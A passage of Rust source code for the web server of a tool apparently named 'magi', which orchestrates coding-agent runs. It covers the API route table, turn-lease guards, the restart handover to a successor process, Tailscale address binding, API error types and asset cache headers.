876            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
877            .route("/api/runs/{id}/report", get(run_report))
878            .route("/api/runs/{id}/report.json", get(run_report_json))
879            .route("/api/runs/{id}/fold", post(run_fold))
880            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
881            .route("/api/runs/{id}/resume", post(run_resume))
882            .route("/api/queue", get(queue_list))
883            .route("/api/search", get(search_get))
884            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
885            .route("/api/stats", get(stats_get))
886            .route("/api/repos", get(repos_list))
887            .route("/api/settings", get(settings_get))
888            .route("/api/settings/roles", put(settings_put_roles))
889            .route("/api/queue/{id}/hold", post(queue_hold))
890            .route("/api/queue/{id}/release", post(queue_release))
891            .route("/api/queue/{id}/priority", post(queue_priority))
892            .route("/api/queue/{id}/edit", post(queue_edit))
893            .route("/api/queue/{id}/done", post(queue_done))
894            .route("/api/questions", get(questions_list))
895            .route("/api/questions/{id}/answer", post(question_answer))
896            .route("/api/questions/{id}/say", post(question_say))
897            .route("/api/questions/{id}/consult", post(question_consult))
898            .route("/api/questions/{id}/panel", get(question_panel))
899            // The same asset, reachable from inside the panel by its bare
900            // filename. A document served at `.../panel` resolves `shot.png`
901            // to `.../shot.png`, which is not the asset route, so a panel
902            // written the way its author was told to write it showed broken
903            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
904            // it - deliberately - so the fix is that the panel's own URL ends
905            // in a filename and its siblings are the assets.
906            .route("/api/questions/{id}/panel/index.html", get(question_panel))
907            .route("/api/questions/{id}/panel/{name}", get(question_asset))
908            .route("/api/questions/{id}/asset/{name}", get(question_asset))
909            .route("/api/notifications", get(notifications_list))
910            .route("/api/notifications/read-all", post(notifications_read_all))
911            .route("/api/notifications/{id}/read", post(notification_read))
912            .route(
913                "/api/notifications/{id}/dismiss",
914                post(notification_dismiss),
915            )
916            .route("/api/talks", get(talks_list).post(talk_post))
917            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
918            .route("/api/talks/{id}/say", post(talk_say))
919            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
920            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
921            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
922            .route("/api/talks/{id}/agent", post(talk_agent))
923            .route("/api/talks/{id}/persona", post(talk_persona))
924            .route("/api/talks/{id}/close", post(talk_close))
925            .route("/api/talks/{id}/reopen", post(talk_reopen))
926            // `DefaultBodyLimit` is raised only on this one route - every
927            // other route on this server answers in a few kilobytes, and
928            // widening the crate-wide default for all of them just because
929            // one accepts a picture would let any other handler be handed
930            // a multi-megabyte body it never expects.
931            .route(
932                "/api/talks/{id}/attachments",
933                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
934            )
935            .route(
936                "/api/talks/{id}/attachments/{att}",
937                get(talk_attachment_get),
938            )
939            .route("/api/events", get(events))
940            .with_state(Arc::new(self))
941    }
942}
943
944/// One talk's turn slot, released on drop.
945///
946/// A guard rather than a matching `remove` at the end of the handler, because
947/// the handler has several early returns and one `await` that can be cancelled
948/// out from under it. A leaked id is a talk nobody can talk to again.
949#[derive(Debug)]
950struct TalkTurnGuard {
951    talk: String,
952    turns: Arc<Mutex<TalkTurns>>,
953    released: bool,
954    /// The cross-process half of the slot; dropped with the guard.
955    lease: Option<crate::talk::TurnLease>,
956}
957
958/// In-memory turn ownership plus the queue generation observed by a drainer.
959///
960/// The generation changes only after a durable queued draft is written and its
961/// caller finds the turn busy. That lets the loop run filesystem work outside
962/// this mutex while still making the final empty-check/release atomic with a
963/// concurrent queue handoff.
964#[derive(Debug, Default)]
965struct TalkTurns {
966    live: HashSet<String>,
967    queued: HashMap<String, u64>,
968}
969
970/// The atomic initial-state decision made by
971/// [`Ui::begin_talk_turn_unless_pending`].
972enum TalkTurnStart {
973    Claimed(TalkTurnGuard),
974    Busy,
975    /// Another process holds the turn lease. Unlike `Busy` there is no local
976    /// drain loop that would answer a queued draft, so the caller refuses.
977    Foreign,
978    Pending,
979}
980
981impl TalkTurnGuard {
982    /// Does this guard still own the on-disk lease? A transient failure to
983    /// check counts as owning: the next beat decides. A guard that lost it
984    /// must not start another turn on the same session.
985    fn owns(&self) -> bool {
986        self.lease
987            .as_ref()
988            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
989    }
990
991    /// `talk::respond` while renewing the on-disk lease, so a turn longer
992    /// than the lease's TTL still reads as held to other processes.
993    async fn respond(
994        &self,
995        talk: &mut Talk,
996        talks: &Talks,
997        cfg: &Config,
998        text: &str,
999    ) -> anyhow::Result<()> {
1000        let lease = self
1001            .lease
1002            .as_ref()
1003            .context("the turn guard no longer holds its lease")?;
1004        talk::respond(lease, talk, talks, cfg, text).await
1005    }
1006
1007    /// Release while the caller already holds the claim mutex, closing the
1008    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1009    fn release(mut self, live: &mut TalkTurns) {
1010        // The on-disk lease goes first: while `live` still names the talk, no
1011        // local claim can start, so nobody observes the slot free but the
1012        // lease held.
1013        self.lease = None;
1014        live.live.remove(&self.talk);
1015        live.queued.remove(&self.talk);
1016        self.released = true;
1017    }
1018}
1019
1020impl Drop for TalkTurnGuard {
1021    fn drop(&mut self) {
1022        if self.released {
1023            return;
1024        }
1025        // Lease first, then the in-process slot (see `release`).
1026        drop(self.lease.take());
1027        if let Ok(mut live) = self.turns.lock() {
1028            live.live.remove(&self.talk);
1029            live.queued.remove(&self.talk);
1030        }
1031    }
1032}
1033
1034/// Releases a resume claim, so a run is resumable again after the attempt.
1035struct ResumeGuard {
1036    run: String,
1037    resuming: Arc<Mutex<HashSet<String>>>,
1038}
1039
1040impl Drop for ResumeGuard {
1041    fn drop(&mut self) {
1042        if let Ok(mut live) = self.resuming.lock() {
1043            live.remove(&self.run);
1044        }
1045    }
1046}
1047
1048/// Bind the port, waiting briefly for a predecessor to let go of it.
1049///
1050/// A restart hands the address from one process to the next, and the old one
1051/// holds its listener until it unwinds. A single `bind` can lose that race,
1052/// and for a restart triggered from a phone that means the deck never comes
1053/// back with no terminal around to say why.
1054///
1055/// Bounded, and only for the one error a wait can fix: anything else fails at
1056/// once, because retrying it would turn a clear message into a silence.
1057async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1058    const WINDOW: Duration = Duration::from_secs(10);
1059    const GAP: Duration = Duration::from_millis(250);
1060
1061    let deadline = std::time::Instant::now() + WINDOW;
1062    let mut said = false;
1063    loop {
1064        match tokio::net::TcpListener::bind(socket).await {
1065            Ok(listener) => return Ok(listener),
1066            Err(e)
1067                if e.kind() == std::io::ErrorKind::AddrInUse
1068                    && std::time::Instant::now() < deadline =>
1069            {
1070                if !said {
1071                    said = true;
1072                    tracing::info!(
1073                        "{socket} is still held - waiting up to {}s for it, \
1074                         which is what a restart looks like from here",
1075                        WINDOW.as_secs()
1076                    );
1077                }
1078                tokio::time::sleep(GAP).await;
1079            }
1080            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1081        }
1082    }
1083}
1084
1085/// Signalled when an upgrade has replaced the binary and the successor should
1086/// take this address over. One per process: there is one address to hand on.
1087static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1088
1089/// Set to `1` on the successor when the loop was running at handover.
1090const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1091
1092/// Whether the environment value asks for the loop to be resumed.
1093fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1094    value.is_some_and(|v| v == "1")
1095}
1096
1097/// Start this binary again with the same arguments, detached.
1098///
1099/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1100/// so the address is already free when the successor binds it. The first
1101/// attempt at this spawned the successor two hundred milliseconds before
1102/// exiting instead, and the released binary - which has no bind retry - died
1103/// on "address already in use" with its stdio sent to null, so the deck
1104/// simply never came back.
1105///
1106/// Detached and without inherited stdio: the successor has to outlive this
1107/// process, and must not hold open a pipe a terminal is waiting on.
1108///
1109/// `resume` tells the successor to start the queue loop, through
1110/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1111/// process inherited from its own predecessor cannot leak into a generation
1112/// that should not resume. The successor's own environment keeps the variable
1113/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1114///
1115/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1116/// than sent to null: a supervisor's redirection only ever held the first
1117/// generation's descriptors, so every later generation logged nowhere. The
1118/// pid of the child is returned so the handover log can name it.
1119fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1120    let exe = std::env::current_exe().context("find this binary")?;
1121    let args: Vec<String> = std::env::args().skip(1).collect();
1122    updater::log_step(
1123        home,
1124        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1125    );
1126    let log_path = home.join(WEB_LOG);
1127    let open_log = || {
1128        std::fs::create_dir_all(home)?;
1129        std::fs::OpenOptions::new()
1130            .create(true)
1131            .append(true)
1132            .open(&log_path)
1133    };
1134    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1135        Ok(pair) => (
1136            std::process::Stdio::from(pair.0),
1137            std::process::Stdio::from(pair.1),
1138        ),
1139        Err(e) => {
1140            updater::log_warn(
1141                home,
1142                &format!(
1143                    "could not open {}: {e}; the successor logs nowhere",
1144                    log_path.display()
1145                ),
1146            );
1147            (std::process::Stdio::null(), std::process::Stdio::null())
1148        }
1149    };
1150
1151    let mut cmd = std::process::Command::new(&exe);
1152    if resume {
1153        cmd.env(RESUME_LOOP_ENV, "1");
1154    } else {
1155        cmd.env_remove(RESUME_LOOP_ENV);
1156    }
1157    cmd.args(&args)
1158        .stdin(std::process::Stdio::null())
1159        .stdout(out)
1160        .stderr(err);
1161    #[cfg(windows)]
1162    {
1163        use std::os::windows::process::CommandExt as _;
1164        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1165        // and Ctrl-C in the old terminal must not reach the successor.
1166        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1167    }
1168    let child = cmd.spawn().context("start the successor")?;
1169    Ok(child.id())
1170}
1171
1172/// File under `<home>` the successor's output is appended to.
1173const WEB_LOG: &str = "web.log";
1174
1175/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1176/// stored by an earlier `notify_one` is consumed by the first poll, so the
1177/// signal is never missed and never wakes a second time.
1178async fn wait_for_handover(signal: &Notify) {
1179    signal.notified().await;
1180}
1181
1182/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1183///
1184/// The server itself owns no state, so nothing here is graceful for the HTTP
1185/// side's sake: the connections go with the dropped listener, which costs a
1186/// phone one change-stream reconnection it was going to make anyway.
1187///
1188/// The signal branch is not optional now that the loop lives in this process.
1189/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1190/// handler is what stops the signal terminating the process - so without a
1191/// branch of our own, the first Ctrl-C after the operator started the loop
1192/// would stop the loop and leave `magi web` listening forever, unkillable
1193/// from the terminal it was started in.
1194///
1195/// What it waits for is the loop, not the sockets. A run in flight is
1196/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1197/// mid-node leaves worktrees, branches and agent sessions behind and throws
1198/// away every agent call already paid for.
1199///
1200/// The server therefore runs on a task of its own rather than inside the
1201/// `select!`: an arm that resolves *drops* the futures the other arms were
1202/// polling, so serving the address from inside one would take the deck down
1203/// at the instant the handover began and keep it down for the whole park -
1204/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1205/// owns the order.
1206pub async fn serve(opts: Opts) -> Result<()> {
1207    let (addr, warning) = resolve_bind(&opts.bind);
1208    if let Some(warning) = warning {
1209        tracing::warn!("{warning}");
1210    }
1211
1212    // Process-global, and therefore set exactly once, here: the report route
1213    // must never emit escape sequences into a browser, and toggling the flag
1214    // per request would race with a concurrent request rendering its own
1215    // report. Startup is the only moment at which no request can observe the
1216    // change. Nothing in the server turns colour back on.
1217    report::set_color(false);
1218
1219    let repo = normalize_default_repo(opts.repo).await;
1220    let ui = Ui::open(repo).with_merge(opts.merge);
1221    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1222    // home to bracket the parking and restarting stages, and `run_update_recheck`
1223    // needs both it and the repo, and by then there is no `ui` left to read
1224    // them from.
1225    let home = ui.home.clone();
1226    let repo = ui.repo.clone();
1227    // Settles a progress record a predecessor left non-terminal - either this
1228    // *is* the successor `spawn_successor` started, or the previous process
1229    // died mid-handover. Before the router starts answering, so the very
1230    // first `/api/health` a phone gets from this process already reflects it.
1231    updater::reconcile_after_restart(&home);
1232    updater::log_step(
1233        &home,
1234        &format!(
1235            "web process started (version {}); handover log {}, successor output {}",
1236            env!("CARGO_PKG_VERSION"),
1237            updater::log_path(&home).display(),
1238            home.join(WEB_LOG).display()
1239        ),
1240    );
1241    updater::spawn_watchdog(home.clone());
1242    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1243    // `spawn_update_check` does at startup only ever runs once: after that,
1244    // `/api/health`'s `update` field - and the phone's "Update & restart"
1245    // button, which reads the very same cache - would stay frozen on
1246    // whatever that single check found, no matter how many releases ship
1247    // afterwards. This keeps it current instead. Detached: it must keep
1248    // going for as long as this process serves, `serve` has nothing to await
1249    // it for, and it exits on its own the moment the process does.
1250    tokio::spawn(run_update_recheck(repo, home.clone()));
1251    let looping = ui.looping();
1252    let socket = SocketAddr::new(addr, opts.port);
1253    let listener = bind_waiting(socket).await?;
1254    let url = format!("http://{addr}:{}", opts.port);
1255    tracing::info!(
1256        "magi web UI on {url} - there is no authentication, so anyone who can \
1257         reach this address can file and hold tasks: the tailnet is the \
1258         security boundary"
1259    );
1260    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1261        tracing::info!("resumed the loop the predecessor was running");
1262    } else {
1263        tracing::info!(
1264            "the queue loop is not running yet - start it from the UI, which is \
1265             the whole reason this process can: nothing in the queue moves until \
1266             something is running the loop"
1267        );
1268    }
1269    if opts.open {
1270        // The URL alone on stdout, for a caller that wants to open it. magi
1271        // does not spawn a browser: on the machine this usually runs on there
1272        // is no display, and a failed launch would be the only output.
1273        println!("{url}");
1274    }
1275
1276    // On its own task, so nothing this function awaits can stop the address
1277    // being answered. `hand_over` is where it is given up.
1278    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1279    let interrupted = async {
1280        if tokio::signal::ctrl_c().await.is_err() {
1281            // No handler on this platform, so there is no signal to act on.
1282            // Never resolving is the safe answer: a failed registration must
1283            // not masquerade as the operator asking for a shutdown and take
1284            // the UI down on startup.
1285            std::future::pending::<()>().await;
1286        }
1287    };
1288    let handover = wait_for_handover(&HANDOVER);
1289    let outcome = tokio::select! {
1290        joined = &mut served => match joined {
1291            Ok(outcome) => outcome.context("serve the web UI"),
1292            Err(e) => Err(e).context("the task serving the web UI ended"),
1293        },
1294        () = interrupted => {
1295            tracing::info!("shutting down the web UI");
1296            finish_loop(&home, &looping, None).await;
1297            Ok(())
1298        }
1299        () = handover => {
1300            updater::log_step(&home, "serve: the select! woke on the handover signal");
1301            let successor_home = home.clone();
1302            hand_over(&home, &looping, served, move |resume| {
1303                spawn_successor(&successor_home, resume)
1304            })
1305            .await
1306        }
1307    };
1308    updater::log_step(
1309        &home,
1310        &match &outcome {
1311            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1312            Err(e) => format!("serve: returning an error: {e:#}"),
1313        },
1314    );
1315    outcome
1316}
1317
1318/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1319/// process's own working directory is not a git checkout at all - the
1320/// checkout [`repos::discover_verified`] finds instead.
1321///
1322/// Only the unmodified default is ever replaced: an operator who named a
1323/// directory outright, git checkout or not, gets exactly that directory
1324/// back, and the same story downstream (a talk whose briefing embeds a
1325/// non-git directory, and an agent that has to ask the operator where the
1326/// real repository is) that has always told them so - substituting a guess
1327/// for an explicit answer would be a second, silent opinion about what they
1328/// meant. There is no instruction or task text yet to match against this
1329/// early, so only [`repos::discover_verified`]'s own-repository tier can
1330/// ever settle this - the hint tier never fires here.
1331///
1332/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1333/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1334/// or a git installation that is broken in exactly the way that made the
1335/// original `canonical` check above fail too - so it is re-checked with
1336/// `git::toplevel` before it is ever used in place of the operator's own
1337/// directory.
1338async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1339    if repo != FsPath::new(".") {
1340        return repo;
1341    }
1342    let Ok(canonical) = repo.canonicalize() else {
1343        return repo;
1344    };
1345    if git::toplevel(&canonical).await.is_ok() {
1346        return repo;
1347    }
1348    let Some(home) = dirs::home_dir() else {
1349        return repo;
1350    };
1351    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1352        Some(found) => {
1353            tracing::info!(
1354                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1355                canonical.display(),
1356                found.path.display(),
1357                found.reason,
1358            );
1359            found.path
1360        }
1361        None => repo,
1362    }
1363}
1364
1365/// Park the loop, then release the address, then start the successor.
1366///
1367/// The order is the whole function, and each step is answerable to a failure
1368/// this arrangement has already had:
1369///
1370/// 1. **Park.** The loop was asked to stop by the request that replaced the
1371///    binary, and this waits for it, because killing the graph mid-node
1372///    leaves worktrees, branches and agent sessions behind and throws away
1373///    every agent call already paid for. It takes as long as the node in
1374///    flight - up to `timeout_implement`, an hour by default - and the deck
1375///    goes on answering for all of it, which is the reason `served` is a task
1376///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1377///    first upgrade from a phone that caught a run mid-implement dropped the
1378///    listener the moment it was asked to, and the operator got
1379///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1380///    waiting on and nothing but a process list to say the run was alive.
1381/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1382///    the join resolves only once the task's future has been dropped, so the
1383///    listener is released before the next line. Connections it already
1384///    accepted are served on tasks of their own and wind down asynchronously;
1385///    on some platforms (macOS) they can briefly keep the address busy, and
1386///    the successor's `bind_waiting` absorbs that.
1387/// 3. **Start the successor**, which binds the address this process has just
1388///    let go of - see [`spawn_successor`] for what the other order cost.
1389///
1390/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1391/// reporting, not part of the design: it exists so `/api/health` can say
1392/// "parking, waiting on run X" instead of leaving the phone to guess why the
1393/// deck went quiet, and dropping it would not change the order above.
1394async fn hand_over(
1395    home: &FsPath,
1396    looping: &Mutex<LoopState>,
1397    served: tokio::task::JoinHandle<std::io::Result<()>>,
1398    successor: impl FnOnce(bool) -> Result<u32>,
1399) -> Result<()> {
1400    updater::log_step(home, "hand_over: entered; writing the parking stage");
1401    // The lease and the stage are written as one step, so a reader that sees
1402    // `parking` also finds the proof that hand_over is alive. Dropped on
1403    // every way out.
1404    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1405    if !recorded {
1406        updater::log_warn(
1407            home,
1408            "hand_over: upgrade.json is unreadable; no parking stage",
1409        );
1410    }
1411    finish_loop(home, looping, Some(&mut lease)).await;
1412    drop(lease);
1413    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1414    served.abort();
1415    let _ = served.await;
1416    updater::log_step(home, "hand_over: listener released");
1417    // Read last: the deck answers for the whole park, so an operator's stop
1418    // during the wait must still be honoured by the successor.
1419    let resume = lock_or_recover(looping).resume_after_handover;
1420    match updater::read_progress(home) {
1421        Some(mut progress) => {
1422            progress.advance(updater::Stage::Restarting);
1423            updater::write_progress_logged(home, &progress);
1424        }
1425        None => updater::log_warn(
1426            home,
1427            "hand_over: upgrade.json is unreadable; no restarting stage",
1428        ),
1429    }
1430    updater::log_step(
1431        home,
1432        &format!("hand_over: starting the successor (resume={resume})"),
1433    );
1434    match successor(resume) {
1435        Ok(pid) => {
1436            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1437            Ok(())
1438        }
1439        Err(e) => {
1440            updater::log_warn(
1441                home,
1442                &format!("hand_over: the successor did not start: {e:#}"),
1443            );
1444            Err(e)
1445        }
1446    }
1447}
1448
1449/// How often `finish_loop` renews the handover lease; well inside
1450/// [`updater::LEASE_TTL_SECS`].
1451const LEASE_BEAT: Duration = Duration::from_secs(20);
1452
1453/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1454///
1455/// The wait is the whole function. Returning from `serve` while a graph is
1456/// mid-node ends the process with worktrees, branches and agent sessions left
1457/// behind and every agent call in that run paid for and thrown away, which is
1458/// exactly what the daemon's own shutdown refuses to do.
1459async fn finish_loop(
1460    home: &FsPath,
1461    state: &Mutex<LoopState>,
1462    mut lease: Option<&mut updater::LeaseGuard>,
1463) {
1464    let live = lock_or_recover(state).live.take();
1465    let Some(live) = live else {
1466        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1467        return;
1468    };
1469    live.stop.stop();
1470    lock_or_recover(state).rev += 1;
1471    updater::log_step(
1472        home,
1473        "finish_loop: waiting for the loop to finish the run in flight",
1474    );
1475    let waited = std::time::Instant::now();
1476    // The task records its own outcome and logs it, so there is nothing to do
1477    // with a join error here but stop waiting.
1478    let mut handle = live.handle;
1479    let mut beat = tokio::time::interval(LEASE_BEAT);
1480    loop {
1481        tokio::select! {
1482            _ = &mut handle => break,
1483            _ = beat.tick() => {
1484                if let Some(lease) = lease.as_deref_mut() {
1485                    lease.beat();
1486                }
1487            }
1488        }
1489    }
1490    updater::log_step(
1491        home,
1492        &format!(
1493            "finish_loop: the loop ended after {:.1}s",
1494            waited.elapsed().as_secs_f32()
1495        ),
1496    );
1497}
1498
1499/// Resolve `--bind` to an address, plus a warning when the answer is not what
1500/// the operator asked for.
1501///
1502/// Split out from [`serve`] because the interesting half - deciding whether
1503/// Tailscale gave us something usable - is testable without opening a socket.
1504pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1505    match bind {
1506        Bind::Addr(addr) => (*addr, None),
1507        Bind::Auto => match tailscale_ip() {
1508            Ok(ip) => (IpAddr::V4(ip), None),
1509            Err(why) => (
1510                IpAddr::V4(Ipv4Addr::LOCALHOST),
1511                Some(format!(
1512                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1513                     local-only and a phone cannot reach it; start Tailscale \
1514                     or pass --bind <addr>"
1515                )),
1516            ),
1517        },
1518    }
1519}
1520
1521/// This machine's Tailscale IPv4, or why there is not one.
1522///
1523/// `tailscale ip -4` is a local call against the running daemon and returns in
1524/// milliseconds, so it is fine to make it synchronously before the server
1525/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1526/// CGNAT block Tailscale assigns from, and anything else on that output would
1527/// be a different tool answering.
1528fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1529    let out = std::process::Command::new("tailscale")
1530        .args(["ip", "-4"])
1531        .quiet()
1532        .output()
1533        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1534    if !out.status.success() {
1535        let why = String::from_utf8_lossy(&out.stderr);
1536        let why = why.trim();
1537        return Err(format!(
1538            "`tailscale ip -4` failed ({}){}",
1539            out.status,
1540            if why.is_empty() {
1541                String::new()
1542            } else {
1543                format!(": {why}")
1544            }
1545        ));
1546    }
1547    String::from_utf8_lossy(&out.stdout)
1548        .lines()
1549        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1550        .find(is_tailnet)
1551        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1552}
1553
1554/// Is this address in the CGNAT block Tailscale hands out from?
1555fn is_tailnet(ip: &Ipv4Addr) -> bool {
1556    let o = ip.octets();
1557    o[0] == 100 && (64..=127).contains(&o[1])
1558}
1559
1560/// What every handler returns. Spelled out because `Result` in this crate is
1561/// `anyhow::Result`, and a handler's error is a status code as much as a
1562/// message.
1563type ApiResult<T> = std::result::Result<T, ApiError>;
1564
1565/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1566#[derive(Debug)]
1567struct ApiError {
1568    status: StatusCode,
1569    message: String,
1570}
1571
1572impl ApiError {
1573    /// The client asked for something malformed.
1574    fn bad_request(message: impl Into<String>) -> Self {
1575        Self {
1576            status: StatusCode::BAD_REQUEST,
1577            message: message.into(),
1578        }
1579    }
1580
1581    /// No such run or task.
1582    fn not_found(message: impl Into<String>) -> Self {
1583        Self {
1584            status: StatusCode::NOT_FOUND,
1585            message: message.into(),
1586        }
1587    }
1588
1589    /// Someone else owns the thing the client wants to change.
1590    /// Re-badge an error whose default mapping is wrong for this route.
1591    fn with_status(mut self, status: StatusCode) -> Self {
1592        self.status = status;
1593        self
1594    }
1595
1596    /// A rules violation from a domain type, reported as the caller's fault.
1597    /// `Question::answer` rejects an unoffered choice, and that is a bad
1598    /// request, not a server error.
1599    fn bad_request_from(e: anyhow::Error) -> Self {
1600        Self::bad_request(format!("{e:#}"))
1601    }
1602
1603    fn conflict(message: impl Into<String>) -> Self {
1604        Self {
1605            status: StatusCode::CONFLICT,
1606            message: message.into(),
1607        }
1608    }
1609
1610    /// Our fault, or the disk's.
1611    fn internal(message: impl Into<String>) -> Self {
1612        Self {
1613            status: StatusCode::INTERNAL_SERVER_ERROR,
1614            message: message.into(),
1615        }
1616    }
1617}
1618
1619impl From<anyhow::Error> for ApiError {
1620    /// Errors from `queue` and `run` carry their context chain, and the whole
1621    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1622    /// value at line 3" is a message an operator can act on, and there is no
1623    /// secret in a path on a single-user tailnet.
1624    fn from(e: anyhow::Error) -> Self {
1625        Self::internal(format!("{e:#}"))
1626    }
1627}
1628
1629impl IntoResponse for ApiError {
1630    fn into_response(self) -> Response {
1631        let body = serde_json::json!({ "error": self.message });
1632        (self.status, Json(body)).into_response()
1633    }
1634}
1635
1636/// Run a handler's filesystem work off the executor.
1637///
1638/// Every route that touches the disk goes through here rather than each one
1639/// arguing about whether its own read is small enough. Uniform because the
1640/// expensive case is not rare: `run.json` for a finished competition holds
1641/// every judgement, deliberation turn and review round, so listing a few
1642/// hundred runs is megabytes of parsing, and the executor threads doing it are
1643/// the same ones serving the change stream of every other connected phone.
1644async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1645where
1646    T: Send + 'static,
1647{
1648    match tokio::task::spawn_blocking(job).await {
1649        Ok(result) => result,
1650        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1651    }
1652}
1653
1654/// Cache policy for the three compiled-in front-end files.
1655///
1656/// The whole interface is `include_str!`ed into the binary, so its content
1657/// changes only when the binary does - and a phone that keeps a copy is
1658/// welcome to, right up until the deck is replaced. Without a single cache
1659/// header, browsers were free to invent their own policy, and one did:
1660/// yukimemi's phone went on showing "Candidates must be folded before
1661/// deleting. Run `magi fold` first." - a sentence deleted two releases
1662/// earlier - from a run detail served by a deck that no longer contained it.
1663/// The delete button he was told about was right there, and unreachable.
1664///
1665/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1666/// every time, the answer is a 304 costing one small round trip while the
1667/// deck is unchanged, and the moment it is replaced the tag differs and the
1668/// new interface arrives. Correctness over bytes - this is one file of a few
1669/// tens of kilobytes on a tailnet, and being a version behind is not a
1670/// cosmetic problem when the difference is whether a button exists.
1671const ASSET_CACHE: &str = "no-cache, must-revalidate";
1672
1673/// `ETag` for the compiled-in assets, distinct per build.
1674///
1675/// The version alone would leave a locally built deck - `cargo install
1676/// --path .` twice at the same version, which is the normal way to iterate -
1677/// serving a stale tag for changed bytes. The build timestamp is what makes
1678/// two builds of `0.3.0` differ.
1679fn asset_etag() -> &'static str {
1680    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1681        format!(
1682            "\"{}-{}\"",
1683            env!("CARGO_PKG_VERSION"),
1684            // Length is a cheap, deterministic stand-in for a hash: the
1685            // three files are compiled in together, so any edit to any of
1686            // them almost certainly changes the total, and a rebuild is what
1687            // this needs to track rather than every possible byte pattern.
1688            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1689        )
1690    });
1691    &TAG
1692}
1693
1694/// Headers for a compiled-in asset of `mime`.
1695fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1696    [
1697        (header::CONTENT_TYPE, mime),
1698        (header::CACHE_CONTROL, ASSET_CACHE),
1699        (header::ETAG, asset_etag()),
1700    ]
1701}
1702
1703/// Serve a compiled-in asset, answering `304` when the client already has it.
1704///
1705/// axum does not compare `If-None-Match` for us, and a header the server sets
1706/// but never honours is worse than none: the phone revalidates on every load
1707/// and is handed the whole file back each time. Doing the comparison is what
1708/// makes `must-revalidate` cost one small round trip rather than the
1709/// interface.
1710fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1711    let tag = asset_etag();
1712    let known = headers
1713        .get(header::IF_NONE_MATCH)
1714        .and_then(|v| v.to_str().ok())
1715        // A revalidating client may send several, and a proxy may weaken the
1716        // tag to `W/"..."`; matching on containment covers both without
1717        // parsing the grammar.
1718        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1719    if known {
1720        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1721    }
1722    (asset_headers(mime), body).into_response()
1723}
1724
1725async fn index(headers: header::HeaderMap) -> Response {
1726    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1727}
1728
1729async fn app_css(headers: header::HeaderMap) -> Response {
1730    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1731}
1732
1733async fn app_js(headers: header::HeaderMap) -> Response {
1734    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1735}
1736
1737/// What `/api/health` answers.
1738#[derive(Debug, Serialize)]
1739struct HealthView {
1740    version: &'static str,
1741    home: String,
1742    queue_rev: u64,
